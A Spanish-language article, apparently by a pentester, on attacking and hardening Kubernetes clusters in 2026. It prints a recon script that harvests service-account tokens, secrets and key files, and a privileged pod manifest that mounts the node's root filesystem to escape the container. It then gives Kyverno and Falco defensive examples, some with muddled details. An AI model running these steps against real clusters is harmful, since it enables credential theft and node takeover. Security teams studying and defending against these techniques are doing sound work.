Llevo más de una década metido en trincheras de ciberseguridad, y si hay algo que ha cambiado radicalmente el panorama de los últimos años es la explosión de Kubernetes. Lo que empezó como una herramienta de orquestación para ingenieros de software se ha convertido, en 2026, en el sistema operativo de facto de la nube híbrida y el objetivo número uno para atacantes sofisticados. La realidad es que la mayoría de las empresas españolas, desde bancos hasta retailers, han desplegado clusters en producción con una mentalidad de "move fast and break things", heredando configuraciones inseguras por defecto y una deuda técnica de seguridad que ahora estamos pagando a precio de oro. En un pentest que realizamos el mes pasado para una aseguradora, conseguimos comprometer su entorno de producción en menos de 48 horas partiendo de un simple pod con permisos excesivos. No fue magia, fue seguir el manual de juego que los atacantes ya conocen de memoria. Este artículo no es una guía teórica; es un desglose crudo de cómo se atacan los clusters hoy, en 2026, y qué puedes hacer para blindar los tuyos, basado en las lecciones aprendidas en auditorías donde hemos visto de todo, desde cryptojacking masivo hasta exfiltración de datos sensibles de millones de usuarios.
¿Por qué Kubernetes se ha convertido en el eslabón débil de tu infraestructura?
La respuesta es simple: complejidad y velocidad. Kubernetes abstrae la infraestructura, pero esa abstracción crea una nueva superficie de ataque enorme y a menudo invisible para los equipos de seguridad tradicionales. Ya no hablamos solo de servidores y firewalls; ahora la unidad de defensa es el pod, el namespace, el service account, la network policy. El problema gordo aquí es la divergencia cultural: los equipos de desarrollo y DevOps priorizan la resiliencia y la entrega continua, mientras que los requisitos de seguridad (RBAC estricto, políticas de red, secrets management) se perciben como obstáculos. En mi experiencia, el 80% de los clusters en producción que auditamos tienen al menos una de estas tres vulnerabilidades críticas: service accounts con permisos de cluster-admin, almacenamiento de secrets en texto plano en repositorios Git, o políticas de red que permiten comunicación entre todos los pods (el famoso allow-all). Esto, combinado con la tendencia de 2026 hacia entornos multi-cloud y multi-cluster (usando herramientas como Cluster API o proyectos como submariner), amplifica el riesgo. Un atacante que comprometa un cluster en AWS puede, en muchos casos, pivotar hacia clusters en Azure o en tu datacenter on-premise si la gestión de identidades no está perfectamente segmentada.
¿Cómo escanean los atacantes tu cluster en los primeros 5 minutos?
Imagina que un atacante ha conseguido ejecutar código en un contenedor, ya sea a través de una vulnerabilidad en la aplicación (un Log4Shell 2.0, por así decirlo), una imagen comprometida en un registry público, o unas credenciales de despliegue robadas. Lo primero que hará cualquier script automatizado o herramienta como peirates o kube-hunter es intentar descubrir el contexto de ejecución. Vamos a ver un ejemplo real de lo que ejecutarían, un script de reconocimiento básico que he visto en múltiples incidentes de respuesta.
#!/bin/bash
# Reconocimiento básico de entorno Kubernetes desde dentro de un pod comprometido
echo "=== RECON K8S INTERNO - $(date) ==="
# 1. Verificar si estamos en un pod y obtener info del service account
echo "[*] Comprobando entorno..."
cat /var/run/secrets/kubernetes.io/serviceaccount/token >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo "[+] Estamos en un pod de Kubernetes."
echo "[+] Namespace: $(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)"
else
echo "[-] No parece un pod K8s. Saliendo."
exit 1
fi
# 2. Enumerar variables de entorno sensibles (claves API, endpoints)
echo "[*] Enumerando variables de entorno..."
env | grep -i "key\|secret\|token\|pass\|cert\|endpoint\|kube\|api"
# 3. Probar permisos del service account contra la API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
API_SERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
echo "[*] Probando permisos de lectura..."
# Intentar listar pods, secrets, roles
curl -s --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" $API_SERVER/api/v1/pods | head -50
curl -s --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" $API_SERVER/api/v1/secrets | head -50
# 4. Buscar montajes de volumen sensibles (Docker socket, etc.)
echo "[*] Comprobando montajes de volumen..."
mount | grep -E "docker.sock|/var/run/secrets|/etc/kubernetes"
find / -name "*.pem" -o -name "*.key" -o -name "*.crt" 2>/dev/null | head -20
Este script es solo el principio. Si el service account tiene permisos para listar o leer secrets, el juego ha terminado. He visto clusters donde los secrets de producción, con claves de bases de datos y APIs externas, eran legibles por cualquier pod en el namespace default. La mentalidad de "esto es interno, ya está protegido" es un error catastrófico que veo constantemente.
¿Cuáles son los vectores de ataque más efectivos en 2026?
Los atacantes han evolucionado. Ya no se conforman con minar criptomonedas. Ahora buscan persistencia, movimiento lateral y exfiltración de datos. Los vectores más críticos que estamos observando en 2026 son:
- Escalada de privilegios mediante RBAC mal configurado: Es el clásico que no pasa de moda. Herramientas como
kubectl-auth can-i --listorakshasautomatizan la búsqueda de permisos excesivos. Un rol converbs: ["*"]sobreresources: ["*"]en un namespace es una puerta abierta. Peor aún, losClusterRoleBindingsque asignan roles potentes a service accounts o usuarios autenticados de forma genérica. - Ataques a la cadena de suministro de imágenes: Con la adopción masiva de registries públicos y la automatización de CI/CD, una imagen comprometida en Docker Hub o en un registry interno propaga el malware a todos los despliegues. En 2025, el incidente de la imagen
node:latest-alpinefalsa que contenía un stealer de variables de entorno fue un aviso para navegantes. Hoy usamos herramientas comoTrivy 0.50oGrypeno solo para CVEs, sino para detectar configuraciones inseguras en el Dockerfile (USER root, secrets en layers). - Network Policy como vector de movimiento lateral: La ausencia de políticas de red o políticas demasiado permisivas permiten que un atacante, desde un pod comprometido, escanee y ataque otros pods, servicios internos (como bases de datos) o incluso la API server. Proyectos como
ciliumycalicoofrecen capacidades avanzadas, pero si no las configuras, es como tener una pared de cristal. - Ataques a la API Server y etcd: El cerebro y la memoria del cluster. Un acceso no autorizado a la API (por un token robado o una configuración de autenticación débil) o al backend etcd (que almacena todos los estados, incluidos los secrets, en texto plano si no se cifra) equivale a una pérdida total del cluster. El CVE-2020-8554 (Server Side Request Forgery) y sus variantes siguen siendo explotables en clusters mal parcheados.
¿Cómo crear un pod privilegiado y escapar al nodo? Un ejemplo técnico
En una auditoría para un cliente del sector energía, encontramos que un pod de monitoring tenía la capacidad de crear pods nuevos en su namespace. Con eso fue suficiente. Creamos un pod con privilegios elevados y montamos el filesystem del nodo. Así es como se hace, y es tan simple como aterrador.
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: default
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]
securityContext:
privileged: true # ¡Error crítico! Otorga privilegios a nivel de nodo.
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: / # Montamos el filesystem raíz del nodo.
Aplicando este manifiesto con un usuario o service account que tenga permisos para crear pods, obtenemos acceso de root al nodo subyacente. Desde ahí, podemos instalar herramientas, robar credenciales del kubelet, o movermos a otros nodos. La defensa pasa por usar Pod Security Admission (PSA) o un admission controller como OPA Gatekeeper o Kyverno para bloquear la creación de pods con privileged: true, hostPath, o hostNetwork. En 2026, estos controles no son opcionales; son obligatorios.
¿Qué herramientas y estrategias de defensa son no negociables hoy?
La defensa de Kubernetes requiere un enfoque en capas, desde el desarrollo hasta el runtime. Sinceramente, comprar un tool caro y pensar que ya estás cubierto es un espejismo. La estrategia debe basarse en estos pilares:
1. Hardening de la configuración según CIS Benchmarks: No es un trámite. Usa kube-bench o kube-hunter en modo de auditoría para comprobar que tus nodos maestro y worker cumplen con las más de 100 comprobaciones del CIS. Cosas como desactivar el anonymous auth en la API, usar TLS para todas las comunicaciones, y rotar los certificados automáticamente.
2. Admission Controllers dinámicos y políticas como código: Tienes que interceptar las peticiones a la API antes de que se desplieguen. Gatekeeper con reglas OPA o Kyverno te permiten definir políticas como, por ejemplo, que todas las imágenes vengan de un registro privado escaneado, que los pods no usen el namespace default, o que todos los almacenamientos tengan ReadOnlyRootFilesystem: true. Te dejo un ejemplo de una política Kyverno útil:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-image-registry-scan
spec:
validationFailureAction: Enforce
background: false
rules:
- name: check-image-source-and-scan
match:
resources:
kinds:
- Pod
validate:
message: "Todas las imágenes deben provenir del registro corporativo 'registry.empresa.es' y tener un reporte de escaneo sin vulnerabilidades CRITICAL."
pattern:
spec:
containers:
- image: "registry.empresa.es/*"
preconditions:
all:
- key: "{{request.operation}}"
operator: NotEquals
value: DELETE
3. Runtime Security y Threat Hunting específico para Kubernetes: Un EDR tradicional no ve la actividad dentro del cluster. Necesitas un agente como Falco (ahora parte de Sysdig) o las capacidades de Aqua Security o Microsoft Defender for Containers. Falco te permite detectar comportamientos anómalos en tiempo real, como un pod que intenta contactar con la API server para listar secrets, o un proceso que se ejecuta dentro de un contenedor que no coincide con la firma de la aplicación. Configurar reglas de Falco es un arte. Una regla que me ha salvado en más de una ocasión:
- rule: Contact K8S API Server From Container
desc: "Detecta intentos de contactar con la API de K8s desde un contenedor (posible movimiento lateral)."
condition: >
evt.type=connect and evt.dir=< and
(fd.sip=host_ip and fd.sport=host_port and k8s.pod.name!=null and
(fd.sip=api_server_ip or fd.sip in (k8s_api_server_ips)))
output: "Conexión a la API de K8s desde un contenedor (pod=%k8s.pod.name, command=%proc.cmdline, ip=%fd.sip, port=%fd.sport)"
priority: WARNING
tags: [network, k8s, mitre_discovery]
4. Gestión centralizada y cifrado de secrets: HashiCorp Vault, AWS Secrets Manager, o Azure Key Vault con el CSI Driver. Los secrets de Kubernetes en etcd, incluso cifrados con el EncryptionConfiguration (algo que muchísimos clusters no tienen activado), son un riesgo. Externalízalos. Inyéctalos vía volumen efímero. Y por favor, usa herramientas como sealed-secrets de Bitnami si necesitas versionarlos en Git.
5. Visibilidad y logging unificado: Todos los logs de pods, eventos de la API, auditorías de kube-apiserver y logs de sistemas (kubelet, runtime) deben fluir a un SIEM central. Pero ojo, el volumen es bestial. En 2026, la tendencia es usar herramientas como OpenTelemetry para telemetría unificada y motores de reglas como Sigma (con el backend específico para K8s) para crear detecciones portables. Una regla Sigma para detectar la creación de un pod privilegiado es mucho más útil que buscar manualmente en terabytes de logs.
¿Cómo se ve un programa de seguridad Kubernetes maduro en 2026?
No es solo tecnología, es proceso y personas. Un programa maduro integra seguridad en cada fase del ciclo de vida de la aplicación (DevSecOps). Esto implica:
- Shift Left: Los desarrolladores tienen en su pipeline de CI (GitLab CI, GitHub Actions) escáneres de SAST, SCA y de imágenes. Un fallo crítico rompe el build. Punto.
- Control continuo en el CD: El admission controller bloquea despliegues que no cumplan las políticas. Las herramientas de scanning de infraestructura como código (Checkov, Terrascan) revisan los Helm charts y manifiestos K8s antes de que se apliquen.
- Runtime Defense y Respuesta: El equipo SOC tiene visibilidad del cluster y playbooks específicos para incidentes en K8s (ej: "aislar pod comprometido", "revocar service account", "rotar secrets"). Usan herramientas como
kubectl-forensicsoKubernetes Audit Log Investigationde Velociraptor. - Formación constante: Los ingenieros de plataforma y los desarrolladores entienden los riesgos básicos. Saben por qué no se debe usar
latesten producción, qué es un pod privilegiado y cómo firmar sus imágenes con Cosign.
La realidad es que la mayoría de empresas españolas con las que trabajamos están entre la fase 1 y 2. Tienen algún escáner y quizás Falco, pero carecen de una gobernanza centralizada y una respuesta integrada. El resultado son detecciones que nadie revisa y falsos positivos que saturan al equipo. El cambio debe ser cultural: la seguridad del cluster es una responsabilidad compartida entre Cloud/Platform Engineering, Desarrollo y el CISO.
Kubernetes no es inherentemente inseguro, pero sus configuraciones por defecto y su complejidad lo hacen extremadamente frágil si no se aborda con una mentalidad de "zero trust" desde el minuto cero. En 2026, con la normativa europea (como el NIS2) apretando y los atacantes cada vez más especializados en entornos cloud-native, no tener un programa sólido de seguridad para tus clusters no es una opción; es una negligencia que puede costarte millones en multas, pérdida de datos y daño reputacional. Empieza por lo básico: aplica el CIS Benchmark, implementa admission controllers, externaliza tus secrets y, sobre todo, entrena a tu gente. La próxima vez que hagas un pentest, no querrás que te encontremos la misma puerta abierta que encontramos en esa aseguradora.
Recursos y referencias
- CIS Kubernetes Benchmarks: La biblia del hardening. Versiones específicas para cada distribución (EKS, AKS, GKE, vanilla). https://www.cisecurity.org/benchmark/kubernetes
- Kyverno Policies Library: Un repositorio comunitario con cientos de políticas listas para usar, desde seguridad hasta mejores prácticas. https://kyverno.io/policies/
- Falco Rules Repository: La colección oficial y comunitaria de reglas para detectar comportamientos maliciosos en Kubernetes, contenedores y cloud. https://github.com/falcosecurity/rules
- Kubernetes Security Audit (2019) & Actualizaciones: El histórico y seminal informe de seguridad que destapó muchos de los problemas estructurales. Leerlo sigue siendo instructivo. https://github.com/kubernetes/community/blob/master/wg-security-audit/findings/Kubernetes%20Final%20Report.pdf